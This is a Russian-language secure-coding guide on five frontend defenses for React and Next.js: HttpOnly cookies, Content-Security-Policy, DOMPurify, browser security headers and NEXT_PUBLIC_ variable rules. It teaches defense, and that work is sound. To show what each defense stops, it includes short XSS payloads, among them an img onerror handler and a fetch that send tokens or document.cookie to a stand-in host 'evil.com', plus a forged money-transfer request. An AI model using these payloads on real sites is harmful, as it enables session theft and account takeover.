Пять защитных мер безопасности фронтенда, необходимых каждому приложению на React и Next.js
Почему приложения на React и Next.js используют куки HttpOnly, CSP, DOMPurify, заголовки безопасности и правила NEXT_PUBLIC_, и какой тип атак каждый из них предотвращает.
Легко считать обеспечение безопасности задачей бэкенда, однако многие серьезные уязвимости — от кражи сессий до утечки ключей API — возникают в коде клиента. В производственных проектах на React и Next.js встречаются паттерны, которые с первого взгляда кажутся ненужными: HttpOnly-куки, необычные заголовки в next.config.js, библиотека DOMPurify, переменные NEXT_PUBLIC_ и политика Content-Security-Policy. В этом руководстве объясняются пять наиболее важных из них, типы атак, которые они предотвращают, и особенности правильного применения.
1. Изоляция токенов аутентификации с помощью HttpOnly-куки
Хранение токенов, вероятно, является самым важным решением с точки зрения безопасности в фронтенде. Распространенный подход — сохранять токен в localStorage:
localStorage.setItem("token", token);
и вручную привязывать его к каждому запросу:
fetch("/profile", {
headers: {
Authorization: `Bearer ${token}`,
},
});
Этот метод работает, но позволяет любому скрипту, выполняющемуся на странице, читать токен.
Как XSS приводит к захвату учетной записи
Кросс-сайт скриптинг (XSS) означает, что злоумышленник заставляет свой JavaScript выполняться на вашем сайте. Типичной точкой входа является отображение ненадежного HTML, например комментария пользователя:
<div dangerouslySetInnerHTML={{ __html: comment }} />
Если злоумышленник может запустить скрипт, чтение токена занимает одну строку кода:
<script>
fetch("evil.com?token=" + localStorage.getItem("token"))
</script>
Строго говоря, тег script, вставленный с помощью innerHTML (который используется в функции dangerouslySetInnerHTML), не выполняется; настоящие атаки используют нагрузки в виде обработчиков событий, как описано в разделе 3. В любом случае, как только скрипт запускается, localStorage полностью становится доступным.
Любой, у кого есть токен-переводчик, может войти в систему без пароля и получить доступ к учетной записи, выдавать себя за пользователя, выполнять операции или использовать административные функции.
Позвольте браузеру хранить сессию
Стандартное решение заключается в том, чтобы сервер хранил сессию в куки, до которой не могут добраться скрипты:
Set-Cookie:
accessToken=abc123;
HttpOnly;
Secure;
SameSite=Strict
У каждого атрибута есть своя функция:
HttpOnlyскрывает куки от JavaScript: попытка прочитать её через скрипт не приведет к получению данных.Secureограничивает использование куки только через HTTPS.SameSite=Strictне позволяет браузеру отправлять куки в запросах, исходящих с других сайтов, что является эффективной защитой от подделки запросов между сайтами (CSRF). РежимStrictтакже удаляет куки, когда пользователи приходят по ссылкам с других сайтов, поэтому многие приложения выбирают режимLax.
document.cookie
Изменение касается принадлежности управления. Раньше токен контролировал фронтэнд:
Frontend controls token
Теперь это делает браузер:
Browser controls token
Ваш код больше не создаёт такой заголовок при каждом вызове:
Authorization: Bearer token
потому что браузер автоматически добавляет куки. Учётные данные никогда не проходят через код приложения. Что касается серверной части, ознакомьтесь с нашим сравнением сессий и JWT в Node.js.
2. Защита от выполнения вставленных скриптов с помощью политики безопасности контента
Одним из часто упускаемых из виду средств защиты является заголовок с названием
Content-Security-Policy
который проекты Next.js часто настраивают в
next.config.js
Почему куки с атрибутом HttpOnly недостаточны
Предположим, что злоумышленнику удаётся вставить внешний скрипт:
<script src="https://evil.com/hack.js"></script>
По умолчанию браузер выполняет его. Злоумышленник не может прочитать куки, но и не нуждается в этом: скрипт выполняется на вашем сервере, поэтому его запросы автоматически включают куки пользователя:
fetch("/send-money", {
method: "POST",
body: JSON.stringify({
amount: 50000,
to: "hacker",
}),
});
Бэкенд видит аутентифицированный запрос и обрабатывает передачу данных. Эта же возможность позволяет осуществлять другие атаки:
- Ложные запросы на вход. Скрипт отображает диалоговое окно, похожее на официальное, как показано ниже, и всё, что вводит пользователь, попадает к злоумышленнику.
- Принудительные перенаправления. Пользователи тайно направляются на сайт фишинга, имитирующий ваш.
"Session expired. Enter password again."
Список разрешенного кода
CSP указывает браузеру, из каких источников можно загружать скрипты. Минимальная политика выглядит следующим образом:
Content-Security-Policy:
script-src 'self'
'self' означает, что разрешаются только скрипты, загружаемые с вашего собственного домена. Когда страница сталкивается со скриптом с другого домена, например, как показано ниже, браузер отказывается его выполнять:
<script src="evil.com/hack.js"></script>
В Next.js вы можете задавать заголовки для каждого маршрута с помощью функции headers() в настройках:
const nextConfig = {
async headers() {
return [
{
source: "/(.*)",
headers: [
{
key: "Content-Security-Policy",
value: "script-src 'self';",
},
],
},
];
},
};
Рассматривайте это как отправную точку. Простое указание script-src 'self' также блокирует встроенные скрипты, которые используются Next.js для процесса гидратации, поэтому строгая политика обычно требует использования нонсов (проверьте актуальную документацию Next.js по подходу с промежуточными модулями). Сначала внедряйте новые политики с использованием параметра Content-Security-Policy-Report-Only.
Два уровня, две цели
Куки с атрибутом HttpOnly снижают риски XSS; CSP направлена на полное предотвращение выполнения скриптов. Настоящая защита достигается путем совместного применения обоих методов.
3. Очистка HTML перед использованием dangerouslySetInnerHTML
React предотвращает XSS только на своем стандартном пути отрисовки, где вставляемый текст экранируется:
<p>{content}</p>
Поэтому если API возвращает строку вроде этой, React отображает её как обычный текст, а не выполняет его:
<script>alert("hacked")</script>
Выход из этой ситуации —
dangerouslySetInnerHTML
и React намеренно включил это слово
dangerously
в название функции.
Когда действительно нужен необработанный HTML
Блоги, страницы CMS, вывод в формате Markdown и редакторы разметки требуют отрисовки HTML. Предположим, сервер возвращает:
<h1>Frontend Security</h1>
<p>Learn React Security</p>
Отрисовка через обычную вставку:
<p>{content}</p>
показывает теги как простой текст. Переход на метод экранирования даёт корректно сформатированный контент:
<div dangerouslySetInnerHTML={{
__html: content
}} />
Внешний вид корректный, но это точка входа для инъекций.
Контент, который действительно выполняется
Злоумышленник отправляет маркировку вот так:
<img src="x"
onerror="
fetch(
'evil.com?data=' + document.cookie
)"
/>
Источник изображения намеренно является недействительным, загрузка терпит неудачу, и обработчик onerror запускает JavaScript злоумышленника.
Очистка с помощью DOMPurify
Обычное решение — провести санитарную обработку перед отображением. Установите библиотеку:
npm install dompurify
Импортируйте её:
import DOMPurify from "dompurify";
и пройдите санитарную обработку контента перед передачей его в React (в реальном коде вызов sanitize и оператор return должны находиться на разных строках):
const safeHTML =
DOMPurify.sanitize(content);return (
<div
dangerouslySetInnerHTML={{
__html: safeHTML,
}}
/>
);
DOMPurify удаляет опасные элементы, такие как теги script, встроенные обработчики событий вроде onerror и onclick, URL-адреса в формате javascript: в ссылках, а также вставленные iframes, оставляя только безопасный маркап. На сервере отсутствует браузерный DOM, поэтому код, генерируемый на сервере, требует реализации DOM, такой как jsdom, или обработки санитизации в момент записи.
Ненадежные источники включают ваш собственный бэкенд
Никогда не доверяйте входным данным, даже тем, что поступают от собственного API; эти данные обычно происходят из менее надежных источников:
- конечные пользователи
- панели администрирования
- редакторы CMS
- API сторонних поставщиков
- редакторы разметки
4. Заголовки безопасности браузера, закрывающие скрытые уязвимости
Во многих конфигурациях продакшена заданы три заголовка, которые легко упускать из виду:
X-Frame-Options
Strict-Transport-Security
X-Content-Type-Options
Каждый из них блокирует разный тип атаки.
X-Frame-Options против кликджекинга
Злоумышленник создает страницу на своем домене:
evil.com
и загружает ваш сайт внутрь невидимого iframe поверх нее. Пользователь думает, что нажимает
Claim Prize
но клик попадает на ваш настоящий кнопку внизу:
Transfer ₹50,000
Это и есть кликджекинг. Решение заключается в запрете на форматирование страниц:
X-Frame-Options: DENY
Тогда браузер откажется форматировать ваши страницы. Современный аналог CSP — это frame-ancestors 'none'; использование обоих параметров покрывает старые браузеры.
Strict-Transport-Security для обязательного использования HTTPS
В ненадежных сетях, таких как общественный Wi-Fi, трафик в формате HTTP может быть перехвачен, что приводит к утечке паролей, данных сессий, одноразовых кодов и другой конфиденциальной информации. HSTS указывает браузеру использовать только HTTPS:
Strict-Transport-Security:
max-age=31536000
Как только браузер увидит этот заголовок, даже введенный адрес вроде
http://example.com
автоматически преобразуется в
https://example.com
до того, как любой запрос покинет устройство. Значение max-age составляет один год. Браузер усваивает это правило только через HTTPS, поэтому первый визит остается незащищенным, если домен не был заранее загружен.
X-Content-Type-Options против определения типа MIME
Исторически браузеры пытались угадать реальный тип файла. Если сервер указывает
Content-Type: image/jpeg
но файл на самом деле содержит скрипт, браузер, выполняющий анализ типа, может рассматривать его как исполняемый. Чтобы отключить такое поведение, используется один заголовок:
X-Content-Type-Options:
nosniff
Он указывает браузеру доверять указанному Content-Type и прекратить попытки угадывания.
Настройка всех трех параметров в Next.js
const nextConfig = {
async headers() {
return [
{
source: "/(.*)",
headers: [
{
key: "X-Frame-Options",
value: "DENY",
},
{
key:
"Strict-Transport-Security",
value:
"max-age=31536000",
},
{
key:
"X-Content-Type-Options",
value: "nosniff",
},
],
},
];
},
};
Эти заголовки почти не стоят ничего и устраняют целые категории атак.
5. Разделяйте секреты сервера от переменных окружения, видимых в браузере
Хранение файла .env вне Git не делает секреты безопасными. Важно то, что оказывается в пакете JavaScript.
Как секреты попадают в пакет
Возьмем такую переменную:
SECRET_KEY=abc123
ссылается из кода на стороне клиента:
console.log(
process.env.SECRET_KEY
);
Когда инструмент сборки встраивает переменные окружения во время сборки, готовый код содержит их буквальные значения:
console.log("abc123");
Любой может прочитать их в инструментах разработчика. Next.js защищает от случайных ситуаций: переменные без префикса NEXT_PUBLIC_ не встраиваются в код браузера и там считаются undefined. Утечки происходят, когда секрет получает префикс public для подавления ошибки или когда серверный компонент передает его клиентскому компоненту в качестве свойства.
Контракт NEXT_PUBLIC_
Только переменные, названия которых начинаются с
NEXT_PUBLIC_
, включаются в сборку браузера. Такое значение можно без проблем обнародовать:
NEXT_PUBLIC_API_URL=
https://api.com
, и оно может быть прочитано в клиентском коде следующим образом:
process.env
.NEXT_PUBLIC_API_URL
, поскольку URL API в любом случае является общедоступным.
Что ни в коем случае не должно быть общедоступным
Это должно находиться исключительно на сервере:
JWT_SECRET
DATABASE_URL
AWS_SECRET
STRIPE_SECRET_KEY
PRIVATE_KEYS
Типичная конфигурация в производстве
В репозитории отсутствует файл .env, поскольку он указан в файле .gitignore:
.env
Реальные значения вставляются системой CI/CD или платформой хостинга во время сборки или развертывания. Только значения с префиксом NEXT_PUBLIC_ попадают в бандл браузера; всё остальное остается на сервере.
Помните этое правило: если браузер может получить доступ к значению, оно является общедоступным. Ни один секрет фронтенда на самом деле не является секретным.
Основные выводы
Безопасность фронтенда заключается в постепенном сокращении поверхности атак и затруднении её использования путем применения различных мер на каждом этапе.
- HttpOnly-куки не позволяют вставленным скриптам получить доступ к токенам сессий.
- Политика безопасности контента препятствует запуску несанкционированных скриптов, но для совместной работы с встроенными скриптами Next.js требуется использование специальных нонсов.
- DOMPurify делает использование метода
dangerouslySetInnerHTMLбезопасным для контента, который был создан не вами. - Заголовки безопасности практически беспрепятственно блокируют атаки типа clickjacking, понижение протокола и анализ типов данных MIME.
- Граница
NEXT_PUBLIC_определяет, что будет отправлено в браузер, поэтому этот префикс следует рассматривать как элемент решения о публикации кода.
Знание того, какие атаки предотвращает каждая из этих мер, позволяет правильно настроить их и заметить отсутствие какой-либо из них.